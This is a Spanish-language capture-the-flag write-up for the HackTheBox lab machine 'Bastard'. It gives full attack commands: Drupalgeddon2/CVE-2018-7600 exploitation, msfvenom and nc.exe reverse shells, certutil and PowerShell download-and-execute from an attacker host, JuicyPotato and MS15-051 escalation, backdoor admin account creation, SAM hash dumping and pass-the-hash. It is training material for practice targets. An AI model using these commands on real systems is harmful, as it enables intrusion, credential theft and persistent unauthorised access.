HTB bastard

¡Hola! En esta ocasión vamos a resolver de la máquina bastard de HackTheBox. La máquina es nivel “Medium”, sin embargo, el nivel siempre se lo pones tú, al enfrentar estos retos, ¡vamos a ponernos hack!

PREPARACIÓN

Para iniciar nuestra máquina, vamos a crear con nuestra función mkhack un directorio de trabajo con el nombre bastard y los subdirectorios recon junto con exploit, con el objetivo de organizar la información que recopilemos en la realización de la máquina.

mkhack bastard
cd !$/recon

RECONOCIMIENTO

Accedemos al directorio recon e iniciamos nuestra fase de reconocimiento sobre el objetivo por medio de nuestra utilidad osping detectando el tipo de sistema operativo basado en el ttl time to live de una traza ICMP.

osping 10.10.10.9
 
[*] Detectando sistema operativo ...

[+] 10.10.10.9 ttl=127 >> Windows

Identificamos que es una maquina Windows debido a su ttl (time to live) correspondiente a 127 (Disminuye en 1 debido a que realiza un salto adicional en el entorno de HackTHeBox).

  • TTL => 64 Linux
  • TTL => 128 Windows

Continuamos con la enumeración de los 65535 puertos en la máquina.

sudo nmap -p- --open -sS --min-rate 5000 -n -Pn 10.10.10.9 -oG ports | grep open
80/tcp    open  http
135/tcp   open  msrpc
49154/tcp open  unknown

Luego de identificar los puertos abiertos OPEN, se procede a escanear servicios y versiones que puedan estar en nuestro objetivo.

nmap -p80,135,49154 -sCV 10.10.10.9 -oN versions
PORT      STATE SERVICE VERSION
80/tcp    open  http    Microsoft IIS httpd 7.5
|_http-title: Welcome to 10.10.10.9 | 10.10.10.9
|_http-server-header: Microsoft-IIS/7.5
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-generator: Drupal 7 (http://drupal.org)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/ 
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt 
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt 
|_/LICENSE.txt /MAINTAINERS.txt
135/tcp   open  msrpc   Microsoft Windows RPC
49154/tcp open  msrpc   Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

RECONOCIMIENTO WEB

Iniciamos con el reconocimiento del servicio web donde inicialmente, por medio de la utilidad whatweb enumeramos información de librerías, gestores de contenido, entre otros.

whatweb 10.10.10.9
#OUTPUT
http://10.10.10.9 [200 OK] Content-Language[en], Country[RESERVED][ZZ], Drupal, HTTPServer[Microsoft-IIS/7.5], IP[10.10.10.9], JQuery, MetaGenerator[Drupal 7 (http://drupal.org)], Microsoft-IIS[7.5], PHP[5.3.28,], PasswordField[pass], Script[text/javascript], Title[Welcome to 10.10.10.9 | 10.10.10.9], UncommonHeaders[x-content-type-options,x-generator], X-Frame-Options[SAMEORIGIN], X-Powered-By[PHP/5.3.28, ASP.NET]

RCE POR DRUPAGEDDON2

Hacemos uso de searchsploit buscando potenciales maneras de intrusión por medio de la explotación de Drupal 7.x.

searchsploit drupal 7.x
#OUTPUT
Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution	| php/webapps/44449.rb

Vamos a ubicarnos en la carpeta exploit y a descargar el exploit php/webapps/44449.rb.

cd ../exploit
searchsploit -m php/webapps/44449.rb

Ejecutamos el exploit agregando únicamente el objetivo en cuestión, sin embargo, se debe instalar la gema highline para que funcione correctamente y obtener una ejecución remota de comandos como el usuario iusr

sudo gem install highline
ruby 44449.rb http://10.10.10.9
#OUTPUT
drupalgeddon2>> whoami
nt authority\iusr

RCE POR CVE-2018-7600

Otro método de intrusión se puede ejecutar por medio del script en python del github de pimps, por lo que se procede a descargar el repositorio y asignando como argumentos la URL y el comando que se desea ejecutar, tenemos acceso como usuario iusr.

git clone https://github.com/pimps/CVE-2018-7600
cd CVE-2018-7600/
python3 drupa7-CVE-2018-7600.py http://10.10.10.9 -c whoami
=============================================================================
|          DRUPAL 7 <= 7.57 REMOTE CODE EXECUTION (CVE-2018-7600)           |
|                              by pimps                                     |
=============================================================================

[*] Poisoning a form and including it in cache.
[*] Poisoned form ID: form-Bq2RKgVRi6UOsNDdQTbbkdP7-_788S3t3WDJh9J9rX4
[*] Triggering exploit to execute: whoami
nt authority\iusr

REVERSE SHELL MSFVENOM

Generamos un payload de intrusión con msfvenom para obtener acceso a una sesión interactiva de la máquina víctima.

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.13 LPORT=4564 -f exe -o reverseShell.exe

Vamos a realizar dos maneras de darle utilidad al payload generado anteriormente.

CARGA DE REVERSE POR DRUPAGEDDON2 + CERTUTIL

Activamos un servidor http con python por el puerto 80.

sudo python3 -m http.server 80

Hacemos uso del primer exploit para ejecutar el comando certutil.exe directamente en la máquina víctima, descargando la reverse shell y posteriormente se ejecuta en la ubicación asignada, no sin antes ponernos en escucha por el puerto donde generamos la reverse shell.

drupalgeddon2>> certutil.exe -f -urlcache -split http://10.10.14.13/reverseShell.exe C:\Windows\Temp\reverseShell.exe
rlwrap nc -lvnp 4564
drupalgeddon2>> C:\Windows\Temp\reverseShell.exe
#OUTPUT
whoami
nt authority\iusr

CARGA DE REVERSE POR CVE-2018-7600 + IMPACKET-SMBSERVER

Vamos a cargar la reverse shell esta vez ejecutando comandos de manera remota por el segundo exploit y compartiendo un servicio smb desde nuestro equipo de atacantes, de igual forma, nos ponemos en escucha por el puerto indicado y ejecutamos directamente la reverse shell desde nuestra propia máquina.

sudo impacket-smbserver smbFolder $(pwd)
rlwrap nc -lvnp 4564
python3 drupa7-CVE-2018-7600.py http://10.10.10.9 -c "\\\\10.10.14.13\smbFolder\rev.exe"
#OUTPUT
whoami
nt authority\iusr

DRUPALGEDDON2 + IMPACKET-SMBSERVER + NC

En esta ocasión vamos a realizar la intrusión por medio de la ejecución remota de comandos de drupalgeddon2, junto con un servidor smb activo para obtener una reverse shell por medio de la utilidad nc.exe, por lo que debemos tener la utilidad donde tenemos activos los recursos compartidos.

cp /usr/share/sqlninja/apps/nc.exe .
ruby 44449.rb http://10.10.10.9
sudo impacket-smbserver smbFolder $(pwd)
rlwrap nc -lvnp 4564
drupalgeddon2>> \\10.10.14.2\smbFolder\nc.exe -e cmd.exe 10.10.14.2 4564
#OUTPUT
whoami
nt authority\iusr

CARGA DE REVERSE POR CVE-2018-7600 + IMPACKET-SMBSERVER

Para este escenario hacemos la carga por smb y ejecución de la reverse shell generada con msfvenom por medio de drupa7-CVE-2018-7600.py.

sudo impacket-smbserver smbFolder $(pwd)
rlwrap nc -lvnp 4564
python3 drupa7-CVE-2018-7600.py http://10.10.10.9 -c "\\\\10.10.14.13\smbFolder\rev.exe"
#OUTPUT
whoami
nt authority\iusr

CVE-2018-7600 + HTTP SERVER + CERTUTIL

Vamos en esta oportunidad a crear una carpeta llamada intrution, donde vamos a hacer la descarga con certutil la utilidad nc.exe y luego de esto obtener una reverse shell po ejecución remota de comandos.

rlwrap nc -lvnp 4564
sudo python3 -m http.server 80
python3 drupa7-CVE-2018-7600.py http://10.10.10.9 -c "mkdir C:\Windows\Temp\intrution"
python3 drupa7-CVE-2018-7600.py http://10.10.10.9 -c 'certutil.exe -f -urlcache -split http://10.10.14.2/nc.exe C:\\Windows\Temp\intrution\nc.exe'
python3 drupa7-CVE-2018-7600.py http://10.10.10.9 -c "C:\Windows\Temp\intrution\nc.exe -e cmd.exe 10.10.14.2 4564"
#OUTPUT
whoami
nt authority\iusr

INTRUSION NISHANG + POWERSHELL

Hacemos ahora uso de nishang, realizando un ajuste en el código para obtener directamente una revese shell descargada en la máquina víctima, haciendo uso de powershell por ejecución remota de comandos, por medio de un servidor http de python en nuestra máquina atacante.

wget https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1
mv Invoke-PowerShellTcp.ps1 ps.ps1
vim ps.ps1
#AGREGAR EN LA ULTIMA LINEA
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.13 -Port 4565     
rlwrap nc -lvnp 4565
sudo python3 -m http.server 80
python3 drupa7-CVE-2018-7600.py http://10.10.10.9 -c "powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.13/ps.ps1')"
#OUTPUT
whoami
nt authority\iusr

ESCALADA DE PRIVILEGIOS

Ahora que nos encontramos dentro de la máquina víctima, vamos a realizar un método mínimamente ruidoso para la explotación de vulnerabilidades con exploits públicos, por lo que vamos a hacer uso de la utilidad Sherlock del github de rasta-mouse.

wget https://raw.githubusercontent.com/rasta-mouse/Sherlock/master/Sherlock.ps1

Modificar parámetro en el script

vim Sherlock.ps1
#AGREGAR EN LA ULTIMA LINEA
Find-AllVulns

Servicio http de python

sudo python3 -m http.server 80

En la máquina víctima ejecutamos

IEX(New-Object Net.WebClient).downloadString('http://10.10.14.13/Sherlock.ps1')

Resultados de sherlock

Title      : Task Scheduler .XML
MSBulletin : MS10-092
CVEID      : 2010-3338, 2010-3888
Link       : https://www.exploit-db.com/exploits/19930/
VulnStatus : Appears Vulnerable

Title      : ClientCopyImage Win32k
MSBulletin : MS15-051
CVEID      : 2015-1701, 2015-2433
Link       : https://www.exploit-db.com/exploits/37367/
VulnStatus : Appears Vulnerable

Title      : Secondary Logon Handle
MSBulletin : MS16-032
CVEID      : 2016-0099
Link       : https://www.exploit-db.com/exploits/39719/
VulnStatus : Appears Vulnerable

ESCALADA POR MS15-051

Vamos a aprovecharnos de la vulnerabilidad ms15-051, descargando y descomprimiendo el script de SecWiki y copiando la reverse shell generada por msfvenom anteriormente.

wget https://github.com/SecWiki/windows-kernel-exploits/raw/master/MS15-051/MS15-051-KB3045171.zip
unzip MS15-051-KB3045171.zip
cd MS15-051-KB3045171/
cp ../rev.exe .

Compartimos un servidor smb

sudo impacket-smbserver smbFolder $(pwd)

Generamos un listener

rlwrap nc -lvnp 4564

Ejecutamos comandos en la máquina víctima.

\\10.10.14.13\smbFolder\ms15-051x64.exe "\\10.10.14.13\smbFolder\rev.exe"

Obtenemos una sesión con permisos de administrador.

#OUTPUT
whoami
nt authority\system

ESCALADA JUICYPOTATO

Esta es otra manera de escalar privilegios, en esta ocasión vamos a hacer uso de JuicyPotato, debido a que tenemos habilitado el permiso SeImpersonatePrivilege.

En máquina víctima consultamos permisos y grupos habilitados.

whoami /priv
PRIVILEGES INFORMATION
----------------------

Privilege Name          Description                               State  
======================= ========================================= =======
SeImpersonatePrivilege  Impersonate a client after authentication Enabled

Descargamos JuicyPotato

wget https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe

Habilitamos un servidor http por python

sudo python3 -m http.server 80

Descargamos en la máquina el recurso a explotar

certutil.exe -f -urlcache -split http://10.10.14.2/JuicyPotato.exe JuicyPotato.exe

MSFVENOM REVERSE SHELL

Generamos reverse shell con msfvenom

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.2 LPORT=4565 -f exe -o rev.exe

Descargamos la reverse shell en la máquina víctima

certutil.exe -f -urlcache -split http://10.10.14.2/rev.exe

Generamos un listener

rlwrap nc -lvnp 4564

Ejecutamos JuicyPotato activando la reverse shell desde la máquina víctima

JuicyPotato.exe -t * -l 1231 -p C:\Windows\System32\cmd.exe -a "/c C:\Windows\Temp\priv\rev.exe" -c {9B1F122C-2982-4e91-AA8B-E071D54F2A4D}

NOTA: Identifica el sistema operativo con systeminfo para obtener el CLSID

whoami      
nt authority\system

NC.EXE REVERSE SHELL

Ahora vamos a escalar descargando nc.exe con certutil y ejecutar comandos privilegiados con JuicyPotato.exe.

certutil.exe -f -urlcache -split http://10.10.14.2/nc.exe

Generamos un listener

rlwrap nc -lvnp 4564

Ejecutamos JuicyPotato activando la reverse shell desde la máquina víctima

JuicyPotato.exe -t * -l 1231 -p C:\Windows\System32\cmd.exe -a "/c C:\Windows\Temp\priv\nc.exe -e cmd.exe 10.10.14.2 4566" -c {9B1F122C-2982-4e91-AA8B-E071D54F2A4D}

NOTA: Identifica el sistema operativo con systeminfo para obtener el CLSID

#OUTPUT
whoami
nt authority\system

ESCALADA POR CHISEL

Para este último ejercicio de escalada de privilegios vamos a crear un port forwarding por medio de la herramienta chisel, para luego crear un usuario y asignarle privilegios, para obtener por medio de cme y wmicexec.py una consola interactiva con un usuario administrador.

Verificamos si el puerto 445 se encuentra habilitado en la máquina víctima.

netstat -nat

Active Connections

  Proto  Local Address          Foreign Address        State           Offload State
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       InHost      

Descargamos y descomprimimos chisel.exe

wget https://github.com/jpillora/chisel/releases/download/v1.7.7/chisel_1.7.7_windows_amd64.gz
gunzip chisel_1.7.7_windows_amd64.gz
mv chisel_1.7.7_windows_amd64 chisel.exe

Nos ubicamos en la carpeta donde vamos a descargar chisel.exe en la máquina víctima

cd C:\Windows\Temp\priv
certutil.exe -f -urlcache -split http://10.10.14.2/chisel.exe chisel.exe

Descargamos chisel para nuestra máquina atacante

wget https://github.com/jpillora/chisel/releases/download/v1.7.7/chisel_1.7.7_linux_amd64.gz
mv chisel_1.7.7_linux_amd64 chisel
chmod +x chisel
upx chisel

Ejecutamos chisel en la máquina atacante

sudo ./chisel server --reverse -p 1234

Ejecutamos chisel en la máquina víctima, generando un port forwarding del puerto 445

chisel.exe client 10.10.14.2:1234 R:445:127.0.0.1:445

Ganamos acceso nuevamente y con JuicyPotato creamos un usuario en la máquina víctima

jp.exe -t * -l 1337 -p C:\Windows\System32\cmd.exe -a "/c net user bastiant1c bast1ant1c! /add" -c "{e60687f7-01a1-40aa-86ac-db1cbf673334}"

Verificamos la creación del usuario

net user
User accounts for \\

-------------------------------------------------------------------------------
Administrator            bastiant1c               dimitris                 
Guest

Agregamos el usuario al grupo Administrators

jp.exe -t * -l 1337 -p C:\Windows\System32\cmd.exe -a "/c net localgroup Administrators bastiant1c /add" -c "{e60687f7-01a1-40aa-86ac-db1cbf673334}"

Creamos el recurso compartido attacker con permisos de administración

jp.exe -t * -l 1337 -p C:\Windows\System32\cmd.exe -a "/c net share attacker=C:\Windows\Temp /GRANT:Administrators,FULL" -c "{e60687f7-01a1-40aa-86ac-db1cbf673334}"

Modificamos el registro para obtener permisos especiales y poder ganar acceso

jp.exe -t * -l 1337 -p C:\Windows\System32\cmd.exe -a "/c reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f" -c "{e60687f7-01a1-40aa-86ac-db1cbf673334}"

Ejecutamos cme para verificar si tenemos un Pwn3d! en los resultados

cme smb 127.0.0.1 -u 'bastiant1c' -p 'bast1ant1c!'
#OUTPUT
SMB         127.0.0.1       445    BASTARD          [*] Windows Server 2008 R2 Datacenter 7600 (name:BASTARD) (domain:Bastard) (signing:False) (SMBv1:True)
SMB         127.0.0.1       445    BASTARD          [+] Bastard\bastiant1c:bast1ant1c! (Pwn3d!)

Dumpeamos los hashes de los usuarios de la máquina víctima

cme smb 127.0.0.1 -u 'bastiant1c' -p 'bast1ant1c!' --sam
#OUTPUT
SMB         127.0.0.1       445    BASTARD          [+] Dumping SAM hashes
SMB         127.0.0.1       445    BASTARD          Administrator:500:aad3b435b51404eeaad3b435b51404ee:d3c87620c26302e9f04a756e3301e63a:::
SMB         127.0.0.1       445    BASTARD          Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         127.0.0.1       445    BASTARD          dimitris:1004:aad3b435b51404eeaad3b435b51404ee:57544bb8930967eee7f44d46f8bfe59d:::

Ejecutamos wmiexec.py para acceder a una consola interactiva como el usuario Administrator

wmiexec.py WORGROUP/Administrator@10.10.10.9 -hashes :d3c87620c26302e9f04a756e3301e63a
#OUTPUT
C:\>whoami
bastard\administrator 

¡Listo! Logramos una shell con un usuario administrador.

FLAGS

Lo único que nos queda es leer las banderas de user y root. Pueden ver la flag con type, pero para hacerlo más retador solo dejaré los primeros 10 caracteres de la flag.

#USER
cd C:\
dir /r/s user.txt
C:\Users\dimitris\Desktop\user.txt
set /P user=<"C:\Users\dimitris\Desktop\user.txt"
echo.%user:~0,10%
ba22fde193
dir /r/s root.txt
C:\Users\Administrator\Desktop\root.txt
set /P root=<"C:\Users\Administrator\Desktop\root.txt"
echo.%root:~0,10%
4bf12b963d

¡Hemos logrado completar la máquina bastard de HackTheBox!

¡Que tengan un buen día en el planeta donde se encuentren!

Nos vemos en otro bit.